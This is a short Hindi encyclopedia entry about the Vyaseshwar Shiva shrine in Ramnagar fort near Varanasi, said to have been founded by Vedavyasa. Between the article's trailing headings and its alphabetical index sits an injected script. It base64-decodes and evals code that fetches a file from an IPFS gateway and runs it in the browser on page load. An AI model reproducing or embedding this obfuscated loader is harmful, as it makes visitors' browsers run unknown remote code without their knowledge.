व्यासेश्वर, वाराणसी  

गंगा जी के उस पार रामनगर के ऐतिहासिक किले के परिसर में शिवालय भी हैं। जिन्हें व्यासेश्वर कहा जाता है। ऐसा माना जाता है कि इस शिवलिंग की स्थापना वेदों के रचयिता वेदव्यास ने की थी। माघ महीने के हर सोमवार को इस शिवलिंग दर्शन पूजन के लिए दर्शनार्थियों की भीड़ लगी रहती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=व्यासेश्वर,_वाराणसी&oldid=576172" से लिया गया